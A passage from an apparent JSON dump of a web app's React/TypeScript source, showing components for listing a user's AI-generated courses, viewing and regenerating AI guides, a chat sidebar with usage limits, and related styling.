submitted && 'bg-red-100 text-red-800',\n        status === 'correct' && submitted && 'bg-green-100 text-green-800',\n        status === 'default' && 'bg-white hover:bg-gray-50',\n        submitted && status !== 'correct' && 'opacity-40',\n      )}\n      disabled={submitted}\n    >\n      <span className=\"mt-[2px]\">\n        {status === 'wrong' && submitted && <CircleXIcon className=\"size-5\" />}\n        {status === 'correct' && submitted && (\n          <CircleCheckIcon className=\"size-5\" />\n        )}\n\n        {(status === 'selected' || status === 'default') && (\n          <CircleIcon className=\"size-5\" />\n        )}\n      </span>\n      <p className=\"text-left\">{title}</p>\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/UserCoursesList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { BookOpen, Loader2 } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../../lib/browser';\nimport {\n  aiLimitOptions,\n  listUserAiCoursesOptions,\n  type ListUserAiCoursesQuery,\n} from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { AITutorTallMessage } from '../AITutor/AITutorTallMessage';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { Pagination } from '../Pagination/Pagination';\nimport { AICourseCard } from './AICourseCard';\nimport { AICourseSearch } from './AICourseSearch';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { AIUsageWarning } from '../AIUsageWarning/AIUsageWarning';\n\nexport function UserCoursesList() {\n  const [isInitialLoading, setIsInitialLoading] = useState(true);\n  const [showUpgradePopup, setShowUpgradePopup] = useState(false);\n\n  const [pageState, setPageState] = useState<ListUserAiCoursesQuery>({\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  });\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const selectedLimit = limits?.course;\n\n  const { data: userAiCourses, isFetching: isUserAiCoursesLoading } = useQuery(\n    listUserAiCoursesOptions(pageState),\n    queryClient,\n  );\n\n  useEffect(() => {\n    setIsInitialLoading(false);\n  }, [userAiCourses]);\n\n  const courses = userAiCourses?.data ?? [];\n\n  useEffect(() => {\n    const queryParams = getUrlParams();\n\n    setPageState({\n      ...pageState,\n      currPage: queryParams?.p || '1',\n      query: queryParams?.q || '',\n    });\n  }, []);\n\n  useEffect(() => {\n    if (pageState?.currPage !== '1' || pageState?.query !== '') {\n      setUrlParams({\n        p: pageState?.currPage || '1',\n        q: pageState?.query || '',\n      });\n    } else {\n      deleteUrlParam('p');\n      deleteUrlParam('q');\n    }\n  }, [pageState]);\n\n  const isUserAuthenticated = isLoggedIn();\n  const isAnyLoading =\n    isUserAiCoursesLoading ||\n    isInitialLoading ||\n    isPaidUserLoading ||\n    isLimitLoading;\n\n  return (\n    <>\n      {showUpgradePopup && (\n        <UpgradeAccountModal onClose={() => setShowUpgradePopup(false)} />\n      )}\n\n      <AICourseSearch\n        value={pageState?.query || ''}\n        onChange={(value) => {\n          setPageState({\n            ...pageState,\n            query: value,\n            currPage: '1',\n          });\n        }}\n        disabled={isAnyLoading}\n      />\n\n      {isAnyLoading && (\n        <p className=\"mb-4 flex flex-row items-center gap-2 text-sm text-gray-500\">\n          <Loader2 className=\"h-4 w-4 animate-spin\" />\n          Loading your courses...\n        </p>\n      )}\n\n      {!isAnyLoading && (\n        <>\n          <AIUsageWarning\n            type=\"course\"\n            totalCount={userAiCourses?.totalCount}\n            isPaidUser={isPaidUser}\n            usedCount={selectedLimit?.used}\n            limitCount={selectedLimit?.limit}\n            onUpgrade={() => setShowUpgradePopup(true)}\n          />\n\n          {isUserAuthenticated && !isAnyLoading && courses.length > 0 && (\n            <div className=\"grid grid-cols-1 gap-2 md:grid-cols-2 lg:grid-cols-3\">\n              {courses.map((course) => (\n                <AICourseCard\n                  variant=\"column\"\n                  key={course._id}\n                  course={course}\n                />\n              ))}\n\n              <Pagination\n                totalCount={userAiCourses?.totalCount || 0}\n                totalPages={userAiCourses?.totalPages || 0}\n                currPage={Number(userAiCourses?.currPage || 1)}\n                perPage={Number(userAiCourses?.perPage || 10)}\n                onPageChange={(page) => {\n                  setPageState({ ...pageState, currPage: String(page) });\n                }}\n                className=\"rounded-lg border border-gray-200 bg-white p-4\"\n              />\n            </div>\n          )}\n\n          {!isAnyLoading && courses.length === 0 && (\n            <AITutorTallMessage\n              title={\n                isUserAuthenticated ? 'No courses found' : 'Sign up or login'\n              }\n              subtitle={\n                isUserAuthenticated\n                  ? \"You haven't generated any courses yet.\"\n                  : 'Takes 2s to sign up and generate your first course.'\n              }\n              icon={BookOpen}\n              buttonText={\n                isUserAuthenticated\n                  ? 'Create your first course'\n                  : 'Sign up or login'\n              }\n              onButtonClick={() => {\n                if (isUserAuthenticated) {\n                  window.location.href = '/ai';\n                } else {\n                  showLoginPopup();\n                }\n              }}\n            />\n          )}\n        </>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/AIGuide.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { AlertCircleIcon, ExternalLink } from 'lucide-react';\nimport { useMemo, useState } from 'react';\nimport { flushSync } from 'react-dom';\nimport { generateGuide } from '../../helper/generate-ai-guide';\nimport { shuffle } from '../../helper/shuffle';\nimport { useToast } from '../../hooks/use-toast';\nimport { isLoggedIn } from '../../lib/jwt';\nimport {\n  aiGuideSuggestionsOptions,\n  getAiGuideOptions,\n} from '../../queries/ai-guide';\nimport { queryClient } from '../../stores/query-client';\nimport { AITutorLayout } from '../AITutor/AITutorLayout';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { AIGuideChat } from './AIGuideChat';\nimport { AIGuideContent } from './AIGuideContent';\nimport { GenerateAIGuide } from './GenerateAIGuide';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { showLoginPopup } from '../../lib/popup';\n\ntype AIGuideProps = {\n  guideSlug?: string;\n};\n\nexport function AIGuide(props: AIGuideProps) {\n  const { guideSlug: defaultGuideSlug } = props;\n  const [guideSlug, setGuideSlug] = useState(defaultGuideSlug);\n\n  const toast = useToast();\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [isRegenerating, setIsRegenerating] = useState(false);\n  const [regeneratedHtml, setRegeneratedHtml] = useState<string | null>(null);\n\n  // only fetch the guide if the guideSlug is provided\n  // otherwise we are still generating the guide\n  const {\n    data: aiGuide,\n    isLoading: isLoadingBySlug,\n    error: aiGuideError,\n  } = useQuery(getAiGuideOptions(guideSlug), queryClient);\n\n  const {\n    data: tokenUsage,\n    isLoading: isTokenUsageLoading,\n    refetch: refetchTokenUsage,\n  } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const { data: aiGuideSuggestions, isLoading: isAiGuideSuggestionsLoading } =\n    useQuery(\n      {\n        ...aiGuideSuggestionsOptions(guideSlug),\n        enabled: !!guideSlug && !!isLoggedIn(),\n      },\n      queryClient,\n    );\n\n  const randomQuestions = useMemo(() => {\n    return shuffle(aiGuideSuggestions?.questions || []).slice(0, 4);\n  }, [aiGuideSuggestions]);\n  const relatedTopics = useMemo(() => {\n    return shuffle(aiGuideSuggestions?.relatedTopics || []).slice(0, 2);\n  }, [aiGuideSuggestions]);\n  const deepDiveTopics = useMemo(() => {\n    return shuffle(aiGuideSuggestions?.deepDiveTopics || []).slice(0, 2);\n  }, [aiGuideSuggestions]);\n\n  const handleRegenerate = async (prompt?: string) => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (!isPaidUser && isLimitExceeded) {\n      setShowUpgradeModal(true);\n      return;\n    }\n\n    flushSync(() => {\n      setIsRegenerating(true);\n      setRegeneratedHtml(null);\n    });\n\n    queryClient.cancelQueries(getAiGuideOptions(guideSlug));\n    queryClient.setQueryData(getAiGuideOptions(guideSlug).queryKey, (old) => {\n      if (!old) {\n        return old;\n      }\n\n      return {\n        ...old,\n        content: '',\n        html: '',\n      };\n    });\n\n    await generateGuide({\n      slug: aiGuide?.slug || '',\n      term: aiGuide?.keyword || '',\n      prompt,\n      onStreamingChange: setIsRegenerating,\n      onHtmlChange: setRegeneratedHtml,\n      onFinish: () => {\n        setIsRegenerating(false);\n        queryClient.invalidateQueries(getAiGuideOptions(guideSlug));\n      },\n      isForce: true,\n      onError: (error) => {\n        toast.error(error);\n      },\n    });\n  };\n\n  const isLoading =\n    isLoadingBySlug ||\n    isRegenerating ||\n    isTokenUsageLoading ||\n    isBillingDetailsLoading;\n\n  return (\n    <AITutorLayout\n      wrapperClassName=\"flex-row p-0 lg:p-0 relative overflow-hidden bg-white\"\n      containerClassName=\"h-[calc(100vh-49px)] overflow-hidden relative\"\n    >\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n\n      {!isLoading && aiGuideError && (\n        <div className=\"absolute inset-0 z-10 flex h-full flex-col items-center justify-center bg-white\">\n          <div className=\"flex flex-col items-center justify-center gap-2\">\n            <AlertCircleIcon className=\"size-10 text-gray-500\" />\n            <p className=\"text-center\">\n              {aiGuideError?.message || 'Something went wrong'}\n            </p>\n          </div>\n        </div>\n      )}\n\n      <div className=\"grow overflow-y-auto p-4 pt-0\">\n        {guideSlug && !aiGuideError && (\n          <AIGuideContent\n            html={regeneratedHtml || aiGuide?.html || ''}\n            onRegenerate={handleRegenerate}\n            isLoading={isLoading}\n            guideSlug={guideSlug}\n          />\n        )}\n        {!guideSlug && !aiGuideError && (\n          <GenerateAIGuide onGuideSlugChange={setGuideSlug} />\n        )}\n\n        {aiGuide && !isRegenerating && (\n          <div className=\"mx-auto mt-12 mb-12 max-w-4xl\">\n            <div className=\"grid grid-cols-1 gap-6 sm:grid-cols-2\">\n              <ListSuggestions\n                title=\"Related Topics\"\n                suggestions={relatedTopics}\n                depth=\"essentials\"\n                isLoading={isAiGuideSuggestionsLoading}\n                currentGuideTitle={aiGuide.title}\n              />\n\n              <ListSuggestions\n                title=\"Dive Deeper\"\n                suggestions={deepDiveTopics}\n                depth=\"detailed\"\n                isLoading={isAiGuideSuggestionsLoading}\n                currentGuideTitle={aiGuide.title}\n              />\n            </div>\n          </div>\n        )}\n      </div>\n      <AIGuideChat\n        guideSlug={guideSlug}\n        isGuideLoading={!aiGuide}\n        onUpgrade={() => setShowUpgradeModal(true)}\n        randomQuestions={randomQuestions}\n        isQuestionsLoading={isAiGuideSuggestionsLoading}\n      />\n    </AITutorLayout>\n  );\n}\n\ntype ListSuggestionsProps = {\n  currentGuideTitle?: string;\n  title: string;\n  suggestions: string[];\n  depth: string;\n  isLoading: boolean;\n};\n\nexport function ListSuggestions(props: ListSuggestionsProps) {\n  const { title, suggestions, depth, isLoading, currentGuideTitle } = props;\n\n  return (\n    <div className=\"group relative overflow-hidden rounded-xl border border-gray-300 bg-linear-to-br from-gray-100 to-gray-50 shadow-xs transition-all duration-200\">\n      <div className=\"border-b border-gray-200 bg-white px-5 py-4\">\n        <h2 className=\"text-lg font-semibold text-gray-900\">{title}</h2>\n        <p className=\"mt-1 text-sm text-gray-600\">\n          {depth === 'essentials'\n            ? 'Explore related concepts to expand your knowledge'\n            : 'Take a deeper dive into specific areas'}\n        </p>\n      </div>\n\n      <div className=\"p-5\">\n        {isLoading && (\n          <div className=\"space-y-3\">\n            {[1, 2].map((i) => (\n              <div\n                key={i}\n                className=\"h-10 w-full animate-pulse rounded-lg bg-white\"\n              ></div>\n            ))}\n          </div>\n        )}\n\n        {!isLoading && suggestions?.length > 0 && (\n          <div className=\"space-y-2\">\n            {suggestions.map((topic) => {\n              const topicTerm =\n                depth === 'essentials'\n                  ? `I have covered the basics of ${currentGuideTitle} and want to learn more about ${topic}`\n                  : `I have covered the basics of ${currentGuideTitle} and want to dive deeper into ${topic}`;\n              const url = `/ai/guide?term=${encodeURIComponent(topicTerm)}&depth=${depth}&id=&format=guide`;\n\n              return (\n                <a\n                  key={topic}\n                  href={url}\n                  target=\"_blank\"\n                  className=\"group/item flex items-center justify-between rounded-lg border border-gray-200 bg-white px-4 py-3 text-sm font-medium text-gray-700 transition-all duration-200 hover:border-gray-300 hover:bg-gray-50\"\n                >\n                  <span className=\"flex-1 truncate group-hover/item:text-gray-900\">\n                    {topic}\n                  </span>\n                  <ExternalLink className=\"ml-2 size-4 text-gray-400 group-hover/item:text-gray-600\" />\n                </a>\n              );\n            })}\n          </div>\n        )}\n\n        {!isLoading && suggestions?.length === 0 && (\n          <div className=\"flex flex-col items-center justify-center py-8 text-center\">\n            <div className=\"mb-3 rounded-full bg-gray-100 p-3\">\n              <svg\n                className=\"h-6 w-6 text-gray-400\"\n                fill=\"none\"\n                viewBox=\"0 0 24 24\"\n                stroke=\"currentColor\"\n              >\n                <path\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth={2}\n                  d=\"M9.663 17h4.673M12 3v1m6.364 1.636l-.707.707M21 12h-1M4 12H3m3.343-5.657l-.707-.707m2.828 9.9a5 5 0 117.072 0l-.548.547A3.374 3.374 0 0014 18.469V19a2 2 0 11-4 0v-.531c0-.895-.356-1.754-.988-2.386l-.548-.547z\"\n                />\n              </svg>\n            </div>\n            <p className=\"text-sm text-gray-500\">No suggestions available</p>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/AIGuideChat.tsx",
    "content": "import {\n  useCallback,\n  useEffect,\n  useLayoutEffect,\n  useRef,\n  useState,\n} from 'react';\nimport { useChat, type ChatMessage } from '../../hooks/use-chat';\nimport { RoadmapAIChatCard } from '../RoadmapAIChat/RoadmapAIChatCard';\nimport {\n  ArrowDownIcon,\n  BotIcon,\n  LockIcon,\n  MessageCircleIcon,\n  PauseCircleIcon,\n  SendIcon,\n  Trash2Icon,\n  XIcon,\n} from 'lucide-react';\nimport { ChatHeaderButton } from '../FrameRenderer/RoadmapFloatingChat';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { flushSync } from 'react-dom';\nimport { markdownToHtml } from '../../lib/markdown';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { LoadingChip } from '../LoadingChip';\nimport { getTailwindScreenDimension } from '../../lib/is-mobile';\n\ntype AIGuideChatProps = {\n  guideSlug?: string;\n  isGuideLoading?: boolean;\n  onUpgrade?: () => void;\n  isQuestionsLoading?: boolean;\n  randomQuestions?: string[];\n};\n\nexport function AIGuideChat(props: AIGuideChatProps) {\n  const {\n    guideSlug,\n    isGuideLoading,\n    onUpgrade,\n    randomQuestions,\n    isQuestionsLoading,\n  } = props;\n\n  const scrollareaRef = useRef<HTMLDivElement>(null);\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  const [inputValue, setInputValue] = useState('');\n  const [showScrollToBottom, setShowScrollToBottom] = useState(false);\n  const [isChatOpen, setIsChatOpen] = useState(true);\n  const [isMobile, setIsMobile] = useState(false);\n\n  const {\n    data: tokenUsage,\n    isLoading: isTokenUsageLoading,\n    refetch: refetchTokenUsage,\n  } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const {\n    messages,\n    status,\n    streamedMessageHtml,\n    sendMessages,\n    setMessages,\n    stop,\n  } = useChat({\n    endpoint: `${import.meta.env.PUBLIC_API_URL}/v1-ai-guide-chat`,\n    onError: (error) => {\n      console.error(error);\n    },\n    data: {\n      guideSlug,\n    },\n    onFinish: () => {\n      refetchTokenUsage();\n    },\n  });\n\n  const scrollToBottom = useCallback(\n    (behavior: 'smooth' | 'instant' = 'smooth') => {\n      scrollareaRef.current?.scrollTo({\n        top: scrollareaRef.current.scrollHeight,\n        behavior,\n      });\n    },\n    [scrollareaRef],\n  );\n\n  const isStreamingMessage = status === 'streaming';\n  const hasMessages = messages.length > 0;\n\n  const handleSubmitInput = useCallback(\n    (defaultInputValue?: string) => {\n      const message = defaultInputValue || inputValue;\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      if (isStreamingMessage) {\n        return;\n      }\n\n      const newMessages: ChatMessage[] = [\n        ...messages,\n        {\n          role: 'user',\n          content: message,\n          html: markdownToHtml(message),\n        },\n      ];\n      flushSync(() => {\n        setMessages(newMessages);\n      });\n      sendMessages(newMessages);\n      setInputValue('');\n\n      setTimeout(() => {\n        scrollToBottom('smooth');\n      }, 0);\n    },\n    [inputValue, isStreamingMessage, messages, sendMessages, setMessages],\n  );\n\n  const checkScrollPosition = useCallback(() => {\n    const scrollArea = scrollareaRef.current;\n    if (!scrollArea) {\n      return;\n    }\n\n    const { scrollTop, scrollHeight, clientHeight } = scrollArea;\n    const isAtBottom = scrollTop + clientHeight >= scrollHeight - 50; // 50px threshold\n    setShowScrollToBottom(!isAtBottom && messages.length > 0);\n  }, [messages.length]);\n\n  useEffect(() => {\n    const scrollArea = scrollareaRef.current;\n    if (!scrollArea) {\n      return;\n    }\n\n    scrollArea.addEventListener('scroll', checkScrollPosition);\n    return () => scrollArea.removeEventListener('scroll', checkScrollPosition);\n  }, [checkScrollPosition]);\n\n  const isLoading =\n    isGuideLoading || isTokenUsageLoading || isBillingDetailsLoading;\n\n  useLayoutEffect(() => {\n    const deviceType = getTailwindScreenDimension();\n    const isMediumSize = ['sm', 'md'].includes(deviceType);\n\n    if (!isMediumSize) {\n      const storedState = localStorage.getItem('chat-history-sidebar-open');\n      setIsChatOpen(storedState === null ? true : storedState === 'true');\n    } else {\n      setIsChatOpen(!isMediumSize);\n    }\n\n    setIsMobile(isMediumSize);\n  }, []);\n\n  useEffect(() => {\n    if (!isMobile) {\n      localStorage.setItem('chat-history-sidebar-open', isChatOpen.toString());\n    }\n  }, [isChatOpen, isMobile]);\n\n  if (!isChatOpen) {\n    return (\n      <div className=\"absolute inset-x-0 bottom-0 flex justify-center p-2\">\n        <button\n          className=\"flex items-center justify-center gap-2 rounded-full bg-black px-4 py-2 text-white shadow\"\n          onClick={() => {\n            setIsChatOpen(true);\n          }}\n        >\n          <MessageCircleIcon className=\"h-4 w-4\" />\n          <span className=\"text-sm\">Open Chat</span>\n        </button>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"absolute inset-0 flex h-full w-full max-w-full flex-col overflow-hidden border-l border-gray-200 bg-white md:relative md:max-w-[40%]\">\n      <div className=\"flex items-center justify-between gap-2 border-b border-gray-200 bg-white p-2\">\n        <h2 className=\"flex items-center gap-2 text-sm font-medium\">\n          <BotIcon className=\"h-4 w-4\" />\n          AI Guide\n        </h2>\n\n        <button\n          className=\"mr-2 flex size-5 items-center justify-center rounded-md text-gray-500 hover:bg-gray-300 md:hidden\"\n          onClick={() => {\n            setIsChatOpen(false);\n          }}\n        >\n          <XIcon className=\"h-3.5 w-3.5\" />\n        </button>\n      </div>\n\n      {isLoading && (\n        <div className=\"absolute inset-0 flex items-center justify-center bg-gray-100\">\n          <LoadingChip message=\"Loading...\" />\n        </div>\n      )}\n\n      {!isLoading && (\n        <>\n          <div className=\"relative grow overflow-y-auto\" ref={scrollareaRef}>\n            <div className=\"absolute inset-0 flex flex-col\">\n              <div className=\"relative flex grow flex-col justify-end\">\n                <div className=\"flex flex-col justify-end gap-2 px-3 py-2\">\n                  <RoadmapAIChatCard\n                    role=\"assistant\"\n                    html=\"Hello, how can I help you today?\"\n                    isIntro\n                  />\n                  {isQuestionsLoading && (\n                    <div className=\"flex flex-col gap-2\">\n                      {[1, 2, 3, 4].map((i) => (\n                        <div\n                          key={i}\n                          className=\"h-[48px] w-full animate-pulse rounded-lg bg-gray-200\"\n                        ></div>\n                      ))}\n                    </div>\n                  )}\n                  {!isQuestionsLoading &&\n                    randomQuestions &&\n                    randomQuestions.length > 0 &&\n                    messages.length === 0 && (\n                      <div className=\"space-y-2\">\n                        <p className=\"mb-2 text-xs font-normal text-gray-500\">\n                          Some questions you might have about this lesson.\n                        </p>\n                        <div className=\"space-y-1\">\n                          {randomQuestions?.map((question) => {\n                            return (\n                              <button\n                                key={`chat-${question}`}\n                                className=\"flex h-full self-start rounded-md bg-yellow-500/10 px-3 py-2 text-left text-sm text-black hover:bg-yellow-500/20\"\n                                onClick={() => {\n                                  handleSubmitInput(question);\n                                }}\n                              >\n                                {question}\n                              </button>\n                            );\n                          })}\n                        </div>\n                      </div>\n                    )}\n\n                  {messages.map((chat, index) => {\n                    return (\n                      <RoadmapAIChatCard key={`chat-${index}`} {...chat} />\n                    );\n                  })}\n\n                  {status === 'streaming' && !streamedMessageHtml && (\n                    <RoadmapAIChatCard role=\"assistant\" html=\"Thinking...\" />\n                  )}\n\n                  {status === 'streaming' && streamedMessageHtml && (\n                    <RoadmapAIChatCard\n                      role=\"assistant\"\n                      html={streamedMessageHtml}\n                    />\n                  )}\n                </div>\n              </div>\n            </div>\n          </div>\n\n          {(hasMessages || showScrollToBottom) && (\n            <div className=\"flex flex-row justify-between gap-2 border-t border-gray-200 px-3 py-2\">\n              <ChatHeaderButton\n                icon={<Trash2Icon className=\"h-3.5 w-3.5\" />}\n                className=\"rounded-md bg-gray-200 py-1 pr-2 pl-1.5 text-gray-500 hover:bg-gray-300\"\n                onClick={() => {\n                  setMessages([]);\n                }}\n              >\n                Clear\n              </ChatHeaderButton>\n              {showScrollToBottom && (\n                <ChatHeaderButton\n                  icon={<ArrowDownIcon className=\"h-3.5 w-3.5\" />}\n                  className=\"rounded-md bg-gray-200 py-1 pr-2 pl-1.5 text-gray-500 hover:bg-gray-300\"\n                  onClick={() => {\n                    scrollToBottom('smooth');\n                  }}\n                >\n                  Scroll to bottom\n                </ChatHeaderButton>\n              )}\n            </div>\n          )}\n\n          <div className=\"relative flex items-center border-t border-gray-200 text-sm\">\n            {isLimitExceeded && isLoggedIn() && (\n              <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n                <LockIcon\n                  className=\"size-4 cursor-not-allowed\"\n                  strokeWidth={2.5}\n                />\n                <p className=\"cursor-not-allowed\">\n                  Limit reached for today\n                  {isPaidUser ? '. Please wait until tomorrow.' : ''}\n                </p>\n                {!isPaidUser && (\n                  <button\n                    onClick={() => {\n                      onUpgrade?.();\n                    }}\n                    className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n                  >\n                    Upgrade for more\n                  </button>\n                )}\n              </div>\n            )}\n\n            {!isLoggedIn() && (\n              <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n                <LockIcon\n                  className=\"size-4 cursor-not-allowed\"\n                  strokeWidth={2.5}\n                />\n                <p className=\"cursor-not-allowed\">Please login to continue</p>\n                <button\n                  onClick={() => {\n                    showLoginPopup();\n                  }}\n                  className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n                >\n                  Login / Register\n                </button>\n              </div>\n            )}\n\n            <input\n              ref={inputRef}\n              type=\"text\"\n              value={inputValue}\n              onChange={(e) => setInputValue(e.target.value)}\n              autoFocus\n              data-clarity-unmask=\"true\"\n              onKeyDown={(e) => {\n                if (e.key === 'Enter') {\n                  e.preventDefault();\n                  if (isStreamingMessage) {\n                    return;\n                  }\n                  handleSubmitInput();\n                }\n              }}\n              placeholder=\"Ask me anything about this guide...\"\n              className=\"w-full resize-none px-3 py-4 outline-none\"\n            />\n\n            <button\n              className=\"absolute top-1/2 right-2 -translate-y-1/2 p-1 text-zinc-500 hover:text-black disabled:opacity-50\"\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                if (status !== 'idle') {\n                  stop();\n                  return;\n                }\n\n                handleSubmitInput();\n              }}\n            >\n              {isStreamingMessage ? (\n                <PauseCircleIcon className=\"h-4 w-4\" />\n              ) : (\n                <SendIcon className=\"h-4 w-4\" />\n              )}\n            </button>\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/AIGuideContent.css",
    "content": ".prose ul li > code,\n.prose ol li > code,\np code,\na > code,\nstrong > code,\nem > code,\nh1 > code,\nh2 > code,\nh3 > code {\n  background: #ebebeb !important;\n  color: currentColor !important;\n  font-size: 14px;\n  font-weight: normal !important;\n}\n\n.course-ai-content.course-content.prose ul li > code,\n.course-ai-content.course-content.prose ol li > code,\n.course-ai-content.course-content.prose p code,\n.course-ai-content.course-content.prose a > code,\n.course-ai-content.course-content.prose strong > code,\n.course-ai-content.course-content.prose em > code,\n.course-ai-content.course-content.prose h1 > code,\n.course-ai-content.course-content.prose h2 > code,\n.course-ai-content.course-content.prose h3 > code,\n.course-notes-content.prose ul li > code,\n.course-notes-content.prose ol li > code,\n.course-notes-content.prose p code,\n.course-notes-content.prose a > code,\n.course-notes-content.prose strong > code,\n.course-notes-content.prose em > code,\n.course-notes-content.prose h1 > code,\n.course-notes-content.prose h2 > code,\n.course-notes-content.prose h3 > code {\n  font-size: 12px !important;\n}\n\n.course-ai-content pre {\n  -ms-overflow-style: none;\n  scrollbar-width: none;\n}\n\n.course-ai-content pre::-webkit-scrollbar {\n  display: none;\n}\n\n.course-ai-content pre,\n.course-notes-content pre {\n  overflow: scroll;\n  font-size: 15px;\n  margin: 10px 0;\n}\n\n.prose ul li > code:before,\np > code:before,\n.prose ul li > code:after,\n.prose ol li > code:before,\np > code:before,\n.prose ol li > code:after,\n.course-content h1 > code:after,\n.course-content h1 > code:before,\n.course-content h2 > code:after,\n.course-content h2 > code:before,\n.course-content h3 > code:after,\n.course-content h3 > code:before,\n.course-content h4 > code:after,\n.course-content h4 > code:before,\np > code:after,\na > code:after,\na > code:before {\n  content: '' !important;\n}\n\n.course-content.prose ul li > code,\n.course-content.prose ol li > code,\n.course-content p code,\n.course-content a > code,\n.course-content strong > code,\n.course-content em > code,\n.course-content h1 > code,\n.course-content h2 > code,\n.course-content h3 > code,\n.course-content table code {\n  background: #f4f4f5 !important;\n  border: 1px solid #282a36 !important;\n  color: #282a36 !important;\n  padding: 2px 4px;\n  border-radius: 5px;\n  font-size: 16px !important;\n  white-space: pre;\n  font-weight: normal;\n}\n\n.course-content blockquote {\n  font-style: normal;\n}\n\n.course-content.prose blockquote h1,\n.course-content.prose blockquote h2,\n.course-content.prose blockquote h3,\n.course-content.prose blockquote h4 {\n  font-style: normal;\n  margin-bottom: 8px;\n}\n\n.course-content.prose ul li > code:before,\n.course-content p > code:before,\n.course-content.prose ul li > code:after,\n.course-content p > code:after,\n.course-content h2 > code:after,\n.course-content h2 > code:before,\n.course-content table code:before,\n.course-content table code:after,\n.course-content a > code:after,\n.course-content a > code:before,\n.course-content h2 code:after,\n.course-content h2 code:before,\n.course-content h2 code:after,\n.course-content h2 code:before {\n  content: '' !important;\n}\n\n.course-content table {\n  border-collapse: collapse;\n  border: 1px solid black;\n  border-radius: 5px;\n}\n\n.course-content table td,\n.course-content table th {\n  padding: 5px 10px;\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/AIGuideContent.tsx",
    "content": "import './AIGuideContent.css';\nimport { AIGuideRegenerate } from './AIGuideRegenerate';\nimport { cn } from '../../lib/classname';\nimport { LoadingChip } from '../LoadingChip';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\n\ntype AIGuideContentProps = {\n  html: string;\n  onRegenerate?: (prompt?: string) => void;\n  isLoading?: boolean;\n  guideSlug?: string;\n};\n\nexport function AIGuideContent(props: AIGuideContentProps) {\n  const { html, onRegenerate, isLoading, guideSlug } = props;\n\n  return (\n    <div\n      className={cn(\n        'relative mx-auto w-full max-w-4xl',\n        isLoading && 'min-h-full',\n      )}\n    >\n      <div\n        className=\"course-content prose-h1:leading-[1.15] prose prose-lg prose-headings:mb-3 prose-headings:mt-8 prose-blockquote:font-normal prose-pre:rounded-2xl prose-pre:text-lg prose-li:my-1 prose-thead:border-zinc-800 prose-tr:border-zinc-800 max-lg:prose-h2:mt-3 max-lg:prose-h2:text-lg max-lg:prose-h3:text-base max-lg:prose-pre:px-3 max-lg:prose-pre:text-sm mt-8 max-w-full text-black max-lg:mt-4 max-lg:text-base [&>h1]:text-balance\"\n        dangerouslySetInnerHTML={{ __html: html }}\n      />\n\n      {isLoading && !html && (\n        <div className=\"absolute inset-0 flex items-center justify-center\">\n          <LoadingChip message=\"Please wait...\" />\n        </div>\n      )}\n\n      {onRegenerate && !isLoading && guideSlug && (\n        <div className=\"absolute top-4 right-4\">\n          <AIGuideRegenerate\n            onRegenerate={onRegenerate}\n            guideSlug={guideSlug}\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/AIGuideRegenerate.tsx",
